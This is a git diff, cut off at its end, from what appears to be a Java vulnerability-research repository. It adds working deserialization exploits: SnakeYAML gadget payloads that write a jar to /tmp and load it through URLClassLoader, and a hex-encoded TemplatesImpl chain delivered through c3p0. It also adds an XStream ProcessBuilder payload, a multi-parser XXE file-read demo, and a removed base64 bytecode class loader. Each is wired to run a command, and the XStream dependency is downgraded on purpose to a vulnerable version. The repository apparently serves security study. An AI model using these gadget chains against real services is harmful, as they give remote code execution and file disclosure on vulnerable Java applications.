PBvzmntcvmV0Pe0DlgbGTCha50FXO4rXgq49e83cy8n5ck+b1vA0Tbye6l2a0HU2b+ilACBd9vKaJrAPf2+8CHGc4YpMIPNmew3rjYGQUU1m7G1TusmUyOBLN6aYJm5DCRzxDV/NVtbkVSWG1a23BLiYuRu6B426pLBWsmstlBykT+Vs1sjpVxZpcqIPwRrnP8x81N6evG5JbR7Gu+qbi6mCelP2cGysegJ/1150uZzEIAM9PtqmOcetpVBXy4ssd425VrlXn8/efs2tZQIy1j55EA8tiJaJSR0a7EvxfDuuo+euix2FEL5c096rMiAsbSd1p4/EFmtMEG/IlYIX6ll3Q5rmsuXtyjzWqN9DFeKPkNUjKhwEp8hcVvvPgR5QVYIGrCPFGuzjGP/Niu+lMUzyxy1C3azy+/xJy+CVBlE2iG16eVFqKG3US7dbS6nkxMkFSbKo/UM90TCT0gXjzgA5r6ZjFeDliS31thJVWKuvWhs4+M51mPtTdN1P7f0olCIMO8saEIL2DudsqOaJU+AC9X5pmHhu0th5iAHEW9FpdnCp+Ia2RkWTRTKxDRzj0tBA4Kj48WLECcdqvNWun3By6l6s1fDJmQv1W391LqWvohP5haxLo2U/c/g9bb8KsjRsC0C7tRJl8ZTfBDdYYNi0ohIFRkGl3afrn4gNQTAA/CtXvsJ2l6vd1+xIIsLNwpT94Jz1JO7h1R5VHj99JX9Lw64DvapOG2Elv0hBCDPTqkxbpTvqTFqk+w79Ro9szuV2B0vizGHbSo9vx26cpDc/DvPts/V9lwEuXm60tftYd2vPuYOEfwIZ/B9Pa9e4kh34gCd6dZHv7pqVmpwZOS03tP6X8q53TM+9032nM0+z/6vZDIcws3wi4qU8GtRoIfyTmd4qqOSw= },1048576]]"; + String jarLocal = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"file:///tmp/test.jar\"]\n" + + " ]]\n" + + "]"; + + // open -a Calculator.app + String hex = "ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000018ACAFEBABE00000032001D01000852756E74696D65440700010100106A6176612F6C616E672F4F626A6563740700030100063C696E69743E010003282956010004436F64650C000500060A000400080100116A6176612F6C616E672F52756E74696D6507000A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C000C000D0A000B000E0100166F70656E202D612043616C63756C61746F722E61707008001001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C001200130A000B001401001453657269616C56657273696F6E55494444656D6F0100014A0571E669EE3C6D471801000D436F6E7374616E7456616C756501000A536F7572636546696C6501000D52756E74696D65442E6A61766100210002000400000001001A001600170001001A0000000200180001000100050006000100070000001A000200010000000E2AB70009B8000F1211B6001557B1000000000001001B00000002001C7571007E000A000001CECAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301000350505001000C496E6E6572436C61737365730100214C636F6D2F7070702F73696E6B732F54656D706C61746573496D706C245050503B01000A536F7572636546696C6501001254656D706C61746573496D706C2E6A6176610C000A000B07001A01001F636F6D2F7070702F73696E6B732F54656D706C61746573496D706C245050500100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001B636F6D2F7070702F73696E6B732F54656D706C61746573496D706C002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000127000E0000000C000100000005000F001200000002001300000002001400110000000A0001000200160010000970740006616E7953747270770100787372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D65737361676571007E00055B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0015707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000057372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000003274001B636F6D2E7070702E636861696E2E6A736F6E2E466173744A736F6E74000D466173744A736F6E2E6A617661740008676574436861696E7371007E00180000002971007E001A71007E001B7400096765744F626A6563747371007E00180000001374001C636F6D2E7070702E4F626A6563745061796C6F61644275696C6465727400194F626A6563745061796C6F61644275696C6465722E6A6176617400076275696C6465727371007E0018000000F8740012636F6D2E7070702E4761646765745465737474000F476164676574546573742E6A61766174001454656D706C61746573496D706C52756E74696D657371007E00180000001E71007E002471007E00257400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00147872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E002E787372001E636F6D2E616C69626162612E666173746A736F6E2E4A534F4E417272617900000000000000010200014C00046C69737471007E001478707371007E002D0000000177040000000171007E00077878"; + String c3p0Hex = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + + "userOverridesAsString: HexAsciiSerializedMap:" + hex + ';'; + + + load(jndi); + + +// Iterable objects = yaml.loadAll(jar); +// for (Object object : objects) { +// System.out.println(object); +// } + + + } + + public static Object load(String payload){ + Yaml yaml = new Yaml(); + System.out.println(payload); + Object result = yaml.load(payload); + return result; + + } +} diff --git a/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/Utils.java b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/Utils.java new file mode 100644 index 0000000..b58933d --- /dev/null +++ b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/Utils.java @@ -0,0 +1,69 @@ +package com.ppp; + +import sun.misc.BASE64Encoder; + +import java.io.*; +import java.util.zip.Deflater; + +/** + * @author Whoopsunix + */ +public class Utils { + public static void main(String[] args) throws Exception { + String str = create("/Users/ppp/Documents/pppRepository/github_file/JavaRce/Serialization/SnakeyamlDemo/target/SnakeyamlDemo-1.0.jar", "/tmp/test.jar"); + } + + public static String create(String SrcPath, String Destpath) throws Exception { + File file = new File(SrcPath); + Long FileLength = file.length(); + byte[] FileContent = new byte[FileLength.intValue()]; + try { + FileInputStream in = new FileInputStream(file); + in.read(FileContent); + in.close(); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + byte[] compressbytes = compress(FileContent); + String base64str = base64encoder(compressbytes); + String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + Destpath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + base64str + " },1048576]]"; + System.out.println(poc); + return poc; + } + + public static String base64encoder(byte[] bytes) throws Exception { + String base64str = new sun.misc.BASE64Encoder().encode(bytes); + base64str = base64str.replaceAll("\n|\r", ""); + return base64str; + } + + public static byte[] compress(byte[] data) { + byte[] output = new byte[0]; + + Deflater compresser = new Deflater(); + + compresser.reset(); + compresser.setInput(data); + compresser.finish(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); + try { + byte[] buf = new byte[1024]; + while (!compresser.finished()) { + int i = compresser.deflate(buf); + bos.write(buf, 0, i); + } + output = bos.toByteArray(); + } catch (Exception e) { + output = data; + e.printStackTrace(); + } finally { + try { + bos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + compresser.end(); + return output; + } +} diff --git a/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/resources/META-INF/services/javax.script.ScriptEngineFactory b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/resources/META-INF/services/javax.script.ScriptEngineFactory new file mode 100644 index 0000000..30aab5c --- /dev/null +++ b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/resources/META-INF/services/javax.script.ScriptEngineFactory @@ -0,0 +1 @@ +com.ppp.code.Exec \ No newline at end of file diff --git a/Serialization/XMLSerialization/JavaBean/pom.xml b/SecVulns/VulnCore/Serialization/XMLSerialization/JavaBean/pom.xml similarity index 81% rename from Serialization/XMLSerialization/JavaBean/pom.xml rename to SecVulns/VulnCore/Serialization/XMLSerialization/JavaBean/pom.xml index b641ec6..1706e23 100644 --- a/Serialization/XMLSerialization/JavaBean/pom.xml +++ b/SecVulns/VulnCore/Serialization/XMLSerialization/JavaBean/pom.xml @@ -2,9 +2,9 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example + com.ppp JavaBean - 1.0-SNAPSHOT + 1.0 jar JavaBean @@ -24,10 +24,10 @@ - - org.springframework.boot - spring-boot-maven-plugin - + + + + org.apache.maven.plugins maven-compiler-plugin diff --git a/Serialization/XMLSerialization/JavaBean/src/main/java/org/example/JavaBean.java b/SecVulns/VulnCore/Serialization/XMLSerialization/JavaBean/src/main/java/com/ppp/JavaBeanAttack.java similarity index 99% rename from Serialization/XMLSerialization/JavaBean/src/main/java/org/example/JavaBean.java rename to SecVulns/VulnCore/Serialization/XMLSerialization/JavaBean/src/main/java/com/ppp/JavaBeanAttack.java index c31bb73..e869b2a 100644 --- a/Serialization/XMLSerialization/JavaBean/src/main/java/org/example/JavaBean.java +++ b/SecVulns/VulnCore/Serialization/XMLSerialization/JavaBean/src/main/java/com/ppp/JavaBeanAttack.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; import java.beans.XMLDecoder; import java.io.ByteArrayInputStream; @@ -6,7 +6,7 @@ /** * @author Whoopsunix */ -public class JavaBean { +public class JavaBeanAttack { public static void main(String[] args) { /** * 命令执行 @@ -173,7 +173,7 @@ public static void main(String[] args) { " \n" + ""; - xmlDecoder(js); + xmlDecoder(processBuilder); } public static Object xmlDecoder(String payload) { diff --git a/Serialization/XMLSerialization/XStreamAttack/pom.xml b/SecVulns/VulnCore/Serialization/XMLSerialization/XStreamAttack/pom.xml similarity index 88% rename from Serialization/XMLSerialization/XStreamAttack/pom.xml rename to SecVulns/VulnCore/Serialization/XMLSerialization/XStreamAttack/pom.xml index b37b273..f92505d 100644 --- a/Serialization/XMLSerialization/XStreamAttack/pom.xml +++ b/SecVulns/VulnCore/Serialization/XMLSerialization/XStreamAttack/pom.xml @@ -2,9 +2,9 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example + com.ppp XStreamAttack - 1.0-SNAPSHOT + 1.0 jar XStreamAttack @@ -17,7 +17,7 @@ com.thoughtworks.xstream xstream - 1.4.17 + 1.4.12 diff --git a/SecVulns/VulnCore/Serialization/XMLSerialization/XStreamAttack/src/main/java/com/ppp/XStreamAttack.java b/SecVulns/VulnCore/Serialization/XMLSerialization/XStreamAttack/src/main/java/com/ppp/XStreamAttack.java new file mode 100644 index 0000000..ba130ce --- /dev/null +++ b/SecVulns/VulnCore/Serialization/XMLSerialization/XStreamAttack/src/main/java/com/ppp/XStreamAttack.java @@ -0,0 +1,72 @@ +package com.ppp; + +import com.thoughtworks.xstream.XStream; + +/** + * @author Whoopsunix + */ +public class XStreamAttack { + public static void main(String[] args) { + String xml = "\n" + + " \n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " text/plain\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " -1\n" + + " 1\n" + + " \n" + + " \n" + + " \n" + + " open\n" + + " -a\n" + + " Calculator.app\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " java.lang.ProcessBuilder\n" + + " start\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + " \n" + + " \n" + + " KEYS\n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " 0\n" + + " 0\n" + + " \n" + + " \n" + + " false\n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " test\n" + + " \n" + + ""; + deserialize(xml); + + } + + public static Object deserialize(final String xml) { + XStream xstream = new XStream(); + return xstream.fromXML(xml); + } +} diff --git a/SecVulns/VulnCore/Serialization/XMLSerialization/pom.xml b/SecVulns/VulnCore/Serialization/XMLSerialization/pom.xml new file mode 100644 index 0000000..2f57b91 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/XMLSerialization/pom.xml @@ -0,0 +1,35 @@ + + 4.0.0 + + com.ppp + XMLSerialization + 1.0 + pom + + XMLSerialization + + + JavaBean + XStreamAttack + + + + UTF-8 + + + + + com.ppp + JavaBean + 1.0 + + + com.ppp + XStreamAttack + 1.0 + + + + + diff --git a/Serialization/pom.xml b/SecVulns/VulnCore/Serialization/pom.xml similarity index 61% rename from Serialization/pom.xml rename to SecVulns/VulnCore/Serialization/pom.xml index 2d32313..bd86935 100644 --- a/Serialization/pom.xml +++ b/SecVulns/VulnCore/Serialization/pom.xml @@ -2,28 +2,50 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example + com.ppp Serialization - 1.0-SNAPSHOT + 1.0 pom Serialization ClassLoad + ClassLoaderJdk17 XMLSerialization ConstructorEXP + SnakeyamlDemo + FastjsonDemo UTF-8 + + + com.ppp + XMLSerialization + 1.0 + + + com.ppp + SnakeyamlDemo + 1.0 + + + com.ppp + FastjsonDemo + 1.0 + + + org.springframework.boot spring-boot-maven-plugin + 2.7.10 org.apache.maven.plugins diff --git a/SecVulns/VulnCore/XXE/pom.xml b/SecVulns/VulnCore/XXE/pom.xml new file mode 100644 index 0000000..87bd7e7 --- /dev/null +++ b/SecVulns/VulnCore/XXE/pom.xml @@ -0,0 +1,52 @@ + + 4.0.0 + + com.ppp + XXE + 1.0 + jar + + XXE + + + UTF-8 + + + + + + org.jdom + jdom + 1.1 + + + org.jdom + jdom2 + 2.0.6 + + + xerces + xercesImpl + 2.6.2 + + + dom4j + dom4j + 1.6.1 + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + diff --git a/SecVulns/VulnCore/XXE/src/main/java/org/example/XXEAttack.java b/SecVulns/VulnCore/XXE/src/main/java/org/example/XXEAttack.java new file mode 100644 index 0000000..d5afc26 --- /dev/null +++ b/SecVulns/VulnCore/XXE/src/main/java/org/example/XXEAttack.java @@ -0,0 +1,249 @@ +package org.example; + + +import java.io.ByteArrayInputStream; + +/** + * @author Whoopsunix + * + * XXE 有回显 Demo + */ +public class XXEAttack { + + public static void main(String[] args) throws Exception { + String filePayload = "]>&xxe;"; + String httpPayload = "]>&xxe;"; + String result = null; + +// result = xmlReader(httpPayload); +// result = jdomSAXBuilder(filePayload); +// result = jdom2SAXBuilder(filePayload); +// result = javaxSAXParser(httpPayload); +// result = dom4jSAXReader(filePayload); + result = jaxpSAXParserFactoryImpl(filePayload); +// result = xercesSAXParser(filePayload); +// result = javaxDocumentBuilder(httpPayload); +// result = jaxpDocumentBuilderImpl(httpPayload); +// result = jaxpDocumentBuilderFactoryImpl(httpPayload); +// result = jaxpXercesDocumentBuilderFactoryImpl(httpPayload); +// result = dom4jDocumentHelper(httpPayload); +// result = javaxXMLInputFactory(filePayload); + + // test + + + System.out.println(result); + + } + + /** + * org.xml.sax.XMLReader + * filePayload、httpPayload + */ + public static String xmlReader(String xml) throws Exception { + org.xml.sax.XMLReader xmlReader = org.xml.sax.helpers.XMLReaderFactory.createXMLReader(); + // 使用 ByteArrayInputStream 将字符串转换为输入流 + ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes()); + + // 使用 InputSource 包装输入流 + org.xml.sax.InputSource inputSource = new org.xml.sax.InputSource(inputStream); + + // 注册事件处理程序 + CustomHandler handler = new CustomHandler(); + xmlReader.setContentHandler(handler); + + // 解析 XML + xmlReader.parse(inputSource); + + + // 获取解析的结果 + String result = handler.getResult(); + return result; +// xmlReader.parse(new InputSource(new ByteArrayInputStream(xml.getBytes()))); + } + + + /** + * org.jdom.input.SAXBuilder + * filePayload、httpPayload + */ + public static String jdomSAXBuilder(String xml) throws Exception { + org.jdom.input.SAXBuilder saxBuilder = new org.jdom.input.SAXBuilder(); + + org.jdom.Document document = saxBuilder.build(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); + // 获取根元素 + org.jdom.Element rootElement = document.getRootElement(); + + // 输出结果 + return rootElement.getText(); + } + + /** + * org.jdom2.input.SAXBuilder + * filePayload、httpPayload + */ + public static String jdom2SAXBuilder(String xml) throws Exception { + org.jdom2.input.SAXBuilder saxBuilder = new org.jdom2.input.SAXBuilder(); + + org.jdom2.Document document = saxBuilder.build(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); + // 获取根元素 + org.jdom2.Element rootElement = document.getRootElement(); + + // 输出结果 + return rootElement.getText(); + } + + /** + * javax.xml.parsers.SAXParser + * filePayload、httpPayload + */ + public static String javaxSAXParser(String xml) throws Exception { + javax.xml.parsers.SAXParser saxParser = javax.xml.parsers.SAXParserFactory.newInstance().newSAXParser(); + org.xml.sax.InputSource inputSource = new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes())); + CustomHandler handler = new CustomHandler(); + saxParser.parse(inputSource, handler); + String result = handler.getResult(); + return result; + } + + /** + * javax.xml.parsers.DocumentBuilder + * filePayload、httpPayload + */ + public static String javaxDocumentBuilder(String xml) throws Exception { + javax.xml.parsers.DocumentBuilder documentBuilder = javax.xml.parsers.DocumentBuilderFactory.newInstance().newDocumentBuilder(); + org.w3c.dom.Document document = documentBuilder.parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); + String result = document.getDocumentElement().getTextContent(); + return result; + } + + /** + * javax.xml.stream.XMLInputFactory + * filePayload、httpPayload + */ + public static String javaxXMLInputFactory(String xml) throws Exception { + javax.xml.stream.XMLInputFactory xmlInputFactory = javax.xml.stream.XMLInputFactory.newFactory(); + javax.xml.stream.XMLStreamReader xmlStreamReader = xmlInputFactory.createXMLStreamReader(new ByteArrayInputStream(xml.getBytes())); + StringBuilder result = new StringBuilder(); + + while (xmlStreamReader.hasNext()) { + int event = xmlStreamReader.next(); + + switch (event) { + case javax.xml.stream.XMLStreamConstants.START_ELEMENT: + result.append("<").append(xmlStreamReader.getLocalName()).append(">"); + break; + case javax.xml.stream.XMLStreamConstants.CHARACTERS: + result.append(xmlStreamReader.getText()); + break; + case javax.xml.stream.XMLStreamConstants.END_ELEMENT: + result.append(""); + break; + // Handle other events as needed + } + } + + return result.toString(); + } + + /** + * org.dom4j.io.SAXReader + * filePayload、httpPayload + */ + public static String dom4jSAXReader(String xml) throws Exception { + org.dom4j.io.SAXReader saxReader = new org.dom4j.io.SAXReader(); + org.dom4j.Document document = saxReader.read(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); + // 获取根元素 + org.dom4j.Element rootElement = document.getRootElement(); + + return rootElement.getText(); + } + + /** + * org.dom4j.DocumentHelper 2.1.1以上被修复,且必须要有ENTITY才能利用 + * filePayload、httpPayload + */ + public static String dom4jDocumentHelper(String xml) throws Exception { + org.dom4j.Document document = org.dom4j.DocumentHelper.parseText(xml); + org.dom4j.Element rootElement = document.getRootElement(); + String childValue = rootElement.getText(); + return childValue; + } + + /** + * org.apache.xerces.jaxp.SAXParserFactoryImpl + * filePayload、httpPayload + */ + public static String jaxpSAXParserFactoryImpl(String xml) throws Exception { + org.apache.xerces.jaxp.SAXParserFactoryImpl saxParserFactory = (org.apache.xerces.jaxp.SAXParserFactoryImpl) javax.xml.parsers.SAXParserFactory.newInstance(); + org.xml.sax.InputSource inputSource = new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes())); + CustomHandler handler = new CustomHandler(); + saxParserFactory.newSAXParser().parse(inputSource, handler); + String result = handler.getResult(); + return result; + } + + /** + * org.apache.xerces.jaxp.DocumentBuilderImpl + * filePayload、httpPayload + */ + public static String jaxpDocumentBuilderImpl(String xml) throws Exception { + org.apache.xerces.jaxp.DocumentBuilderImpl documentBuilder = (org.apache.xerces.jaxp.DocumentBuilderImpl) javax.xml.parsers.DocumentBuilderFactory.newInstance().newDocumentBuilder(); + org.w3c.dom.Document document = documentBuilder.parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); + String result = document.getDocumentElement().getTextContent(); + return result; + } + + /** + * org.apache.xerces.jaxp.DocumentBuilderFactoryImpl + * filePayload、httpPayload + */ + public static String jaxpDocumentBuilderFactoryImpl(String xml) throws Exception { + org.apache.xerces.jaxp.DocumentBuilderFactoryImpl documentBuilderFactory = (org.apache.xerces.jaxp.DocumentBuilderFactoryImpl) javax.xml.parsers.DocumentBuilderFactory.newInstance(); + org.w3c.dom.Document document = documentBuilderFactory.newDocumentBuilder().parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); + String result = document.getDocumentElement().getTextContent(); + return result; + } + + /** + * com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl + * filePayload、httpPayload + */ + public static String jaxpXercesDocumentBuilderFactoryImpl(String xml) throws Exception { + com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl documentBuilderFactory = new com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl(); + javax.xml.parsers.DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); + org.w3c.dom.Document document = documentBuilder.parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); + String result = document.getDocumentElement().getTextContent(); + return result; + } + + /** + * org.apache.xerces.parsers.SAXParser + * filePayload、httpPayload + */ + public static String xercesSAXParser(String xml) throws Exception { + org.apache.xerces.parsers.SAXParser saxParser = new org.apache.xerces.parsers.SAXParser(); + CustomHandler customHandler = new CustomHandler(); + saxParser.setContentHandler(customHandler); + saxParser.parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); + + return customHandler.getResult(); + } + + static class CustomHandler extends org.xml.sax.helpers.DefaultHandler { + + private StringBuilder resultBuilder = new StringBuilder(); + + @Override + public void characters(char[] ch, int start, int length) throws org.xml.sax.SAXException { + // 处理文本内容事件 + String content = new String(ch, start, length); + resultBuilder.append(content); + } + + // 获取解析的结果 + public String getResult() { + return resultBuilder.toString(); + } + } +} diff --git a/SecVulns/VulnCore/pom.xml b/SecVulns/VulnCore/pom.xml new file mode 100644 index 0000000..28b80d4 --- /dev/null +++ b/SecVulns/VulnCore/pom.xml @@ -0,0 +1,100 @@ + + 4.0.0 + + com.ppp + VulnCore + 1.0 + pom + + VulnCore + + + Code + Command + Expression + XXE + FilesOperations + JDBCAttack + JNDIAttack + MemShellAndRceEcho + Serialization + SSTI + Inject + SSRF + JNI + + + + UTF-8 + + + + + com.ppp + Code + 1.0 + + + com.ppp + Command + 1.0 + + + com.ppp + Expression + 1.0 + + + com.ppp + FilesOperations + 1.0 + + + com.ppp + JDBCAttack + 1.0 + + + com.ppp + Serialization + 1.0 + + + com.ppp + SSTI + 1.0 + + + com.ppp + XXE + 1.0 + + + com.ppp + FilesOperations + 1.0 + + + com.ppp + JNDIAttack + 1.0 + + + com.ppp + Inject + 1.0 + + + com.ppp + SSRF + 1.0 + + + com.ppp + JNI + 1.0 + + + + diff --git a/Serialization/XMLSerialization/pom.xml b/SecVulns/pom.xml similarity index 66% rename from Serialization/XMLSerialization/pom.xml rename to SecVulns/pom.xml index 02415be..d4cb5fe 100644 --- a/Serialization/XMLSerialization/pom.xml +++ b/SecVulns/pom.xml @@ -2,21 +2,20 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example - XMLSerialization - 1.0-SNAPSHOT + com.ppp + SecVulns + 1.0 pom - XMLSerialization + SecVulns - JavaBean - XStreamAttack + Springboot2 + VulnCore UTF-8 - diff --git a/Serialization/ClassLoad/src/main/java/org/example/ReflectUtilsDemo.java b/Serialization/ClassLoad/src/main/java/org/example/ReflectUtilsDemo.java deleted file mode 100644 index bd7eaab..0000000 --- a/Serialization/ClassLoad/src/main/java/org/example/ReflectUtilsDemo.java +++ /dev/null @@ -1,18 +0,0 @@ -package org.example; - -/** - * @author Whoopsunix - */ -public class ReflectUtilsDemo { - public static void main(String[] args) throws Exception{ -// String b64Str = new B64().encodeJavaClass(Exec.class); - String b64Str = "yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY"; - defineClass_cglib(b64Str, "org.example.Exec"); - } - - public static void defineClass_cglib(String calcBase64, String className) throws Exception { - org.springframework.cglib.core.ReflectUtils.defineClass(className, - java.util.Base64.getDecoder().decode(calcBase64) - , ClassLoader.getSystemClassLoader()); - } -} diff --git a/Utils/pom.xml b/Utils/pom.xml index 83bed40..7b05c6f 100644 --- a/Utils/pom.xml +++ b/Utils/pom.xml @@ -2,9 +2,9 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.ppp.tools + com.ppp.tools Utils - 1.0-SNAPSHOT + 1.0 jar Utils @@ -24,10 +24,18 @@ commons-collections4 4.0 + + commons-collections + commons-collections + 3.1 + + + + com.thoughtworks.xstream xstream - 1.4.17 + 1.4.12 diff --git a/Utils/src/main/java/org/ppp/tools/ClassFiles.java b/Utils/src/main/java/com/ppp/tools/ClassFiles.java similarity index 98% rename from Utils/src/main/java/org/ppp/tools/ClassFiles.java rename to Utils/src/main/java/com/ppp/tools/ClassFiles.java index 55a13d5..15df25c 100644 --- a/Utils/src/main/java/org/ppp/tools/ClassFiles.java +++ b/Utils/src/main/java/com/ppp/tools/ClassFiles.java @@ -1,4 +1,4 @@ -package org.ppp.tools; +package com.ppp.tools; import java.io.ByteArrayOutputStream; import java.io.IOException; diff --git a/Utils/src/main/java/com/ppp/tools/FileCopyUtils.java b/Utils/src/main/java/com/ppp/tools/FileCopyUtils.java new file mode 100644 index 0000000..6e69d51 --- /dev/null +++ b/Utils/src/main/java/com/ppp/tools/FileCopyUtils.java @@ -0,0 +1,104 @@ +package com.ppp.tools; + + + +import java.io.*; +import java.nio.file.Files; + +/** + * @author Whoopsunix + */ +public class FileCopyUtils { + public static final int BUFFER_SIZE = 4096; + + public FileCopyUtils() { + } + + public static int copy(File in, File out) throws IOException { + return copy(Files.newInputStream(in.toPath()), Files.newOutputStream(out.toPath())); + } + + public static void copy(byte[] in, File out) throws IOException { + copy((InputStream) (new ByteArrayInputStream(in)), (OutputStream) Files.newOutputStream(out.toPath())); + } + + public static byte[] copyToByteArray(File in) throws IOException { + return 